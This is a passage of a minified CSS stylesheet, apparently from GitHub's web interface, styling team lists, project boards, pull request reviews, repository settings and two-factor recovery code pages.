ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 16px;color:var(--color-fg-default)}.review-comment:first-child{padding-top:16px}.review-comment:last-child{padding-bottom:16px}.review-comment .comment-body,.review-comment .comment-reactions{padding:0}.review-comment .comment-body{padding-top:4px}.review-comment .comment-body .suggested-change-form-container:nth-last-of-type(2){margin-bottom:0 !important}.review-comment .comment-reactions{margin-top:4px;border-top:0 !important}.review-comment .comment-reactions.has-reactions{margin-top:12px}.review-comment .show-more-popover.dropdown-menu-sw{right:-5px;margin-top:4px}.review-comment:last-child::after,.review-comment:last-child .review-comment-contents::after{display:none}.review-comment .timeline-comment-action{padding:0 4px}.review-comment .is-comment-editing{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.review-comment .is-comment-editing::after{top:100%;bottom:0;left:19px;height:20px}.review-comment .is-comment-editing .timeline-comment-actions,.review-comment .is-comment-editing .edit-comment-hide{display:none}.review-comment .is-comment-editing .previewable-comment-form{display:block}.review-comment.is-comment-loading .previewable-comment-form{opacity:.5}.pr-review-reactions .has-reactions,.pr-review-reactions .has-reactions.comment-reactions{margin-bottom:16px;margin-left:16px}.timeline-comment.is-comment-editing .discussion-item-header{display:none}.review-thread-reply{padding:8px 16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.review-thread-reply .inline-comment-form{margin:-8px -16px;background-color:var(--color-canvas-default);border:0}.review-thread-reply-button{display:inline-block;min-height:28px;padding:4px 8px;margin-left:8px;cursor:text}.readme.contributing>div{max-height:250px;overflow:auto}.readme .markdown-body,.readme .plain{word-wrap:break-word}.readme .plain pre{font-size:14px;white-space:pre-wrap}.file .readme table[data-table-type=yaml-metadata]{font-size:12px;line-height:1}.file .readme table[data-table-type=yaml-metadata] table{margin:0}.labels-list .blankslate{display:none}.labels-list .table-list-header{display:block}.labels-list.is-empty .blankslate{display:block}.labels-list.is-empty .table-list-header{display:none}.label-select-menu-item .g-emoji{font-size:12px;line-height:1;vertical-align:baseline}.label-edit::before{display:table;content:""}.label-edit::after{display:table;clear:both;content:""}.label-edit label{display:block;margin-bottom:8px}.label-edit .error{float:left;margin-top:8px;margin-left:8px;color:var(--color-danger-fg)}.label-edit.loading{display:block}.label-characters-remaining{color:var(--color-fg-muted)}.repo-list{position:relative}.repo-list-item{position:relative;padding-top:32px;padding-bottom:32px;list-style:none;border-bottom:1px solid var(--color-border-muted)}.repo-list-item-with-avatar{padding-left:42px}.repo-list-item-hanging-avatar{float:left;margin-left:-42px}.mini-repo-list-item{position:relative;display:block;padding:4px 64px 4px 32px;font-size:14px;border-top:1px solid var(--color-border-default)}.mini-repo-list-item:hover{text-decoration:none}.mini-repo-list-item:hover .repo,.mini-repo-list-item:hover .owner{text-decoration:underline}.mini-repo-list-item .repo-icon{float:left;margin-top:2px;margin-left:-16px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-and-owner{max-width:220px}.mini-repo-list-item .owner{max-width:110px}.mini-repo-list-item .repo{font-weight:600}.mini-repo-list-item .stars{position:absolute;top:0;right:10px;margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.mini-repo-list-item .repo-description{display:block;max-width:100%;font-size:12px;line-height:21px;color:var(--color-fg-muted)}.private .mini-repo-list-item{background-color:var(--color-attention-subtle)}.private .mini-repo-list-item .repo-icon{color:var(--color-attention-fg)}.form-group.errored label .commit-ref{background-color:var(--color-danger-subtle)}.repo-menu-item:not([aria-current=page])+.repo-sub-menu{display:none}.feature-callout .new-label-hidden{display:none}.feature-callout .new-feature-label.new-label-hidden{display:inline}.repository-og-image{width:100%;max-width:640px;height:320px;object-fit:cover;object-position:center;background-repeat:no-repeat;background-position:center;background-size:cover}.line-clamp-2{display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden}.timeout{width:auto;height:300px;padding:0;margin:16px 0;background-color:transparent;border:0}.timeout h3{padding-top:100px;color:var(--color-fg-muted)}.repo-language-color{position:relative;top:1px;display:inline-block;width:12px;height:12px;border:1px solid var(--color-primer-border-contrast);border-radius:50%}.iconbutton .octicon{margin-right:0}.prereceive-feedback{padding:16px;margin-bottom:16px;border:1px solid #dfe2e5;border-left:6px solid #caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary 